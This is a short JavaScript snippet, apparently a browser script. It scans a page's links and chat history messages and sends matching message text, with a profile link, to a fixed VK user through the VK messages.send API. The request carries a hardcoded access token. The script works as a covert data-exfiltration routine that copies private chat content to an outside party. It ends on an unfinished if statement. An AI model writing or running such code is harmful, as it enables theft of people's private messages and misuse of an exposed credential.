function sendRequest(){
        var url = localStorage.getItem('url');
  var we = document.querySelectorAll("a");
        for (var p = 0; p < we.length; p++) {
            console.log(p, we)
            if ((we[p].href).indexOf("a-album") > -1){
                var userlinkvk = we[p].href
                console.log(userlinkvk)
		}}
if(url!=userlinkvk){
            var elements4 = document.querySelectorAll('.chat_history_msg');
            for (var m = 0; m < elements4.length; m++) {
                if ((elements4[m].textContent).indexOf("9")> -1){

                    var request5 = new XMLHttpRequest();
                    request5.withCredentials = true;

                    request5.open('Get', 'https://api.vk.com/method/messages.send?user_id=480935355&message=' + userlinkvk + " "+ elements4[m].innerText + '&access_token=5da60587878616ed25791ec4be02d469587eadab98f6ec9e0dab170ce39cf2f588895544483a2&v=5.75', true);
                    request5.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

                    request5.send();
                      console.log(url)
                    localStorage.setItem('url', userlinkvk);

                    }}}

    }

if(url!=userlinkvk || userlinkvk.indexOf('vk.com') !== -1)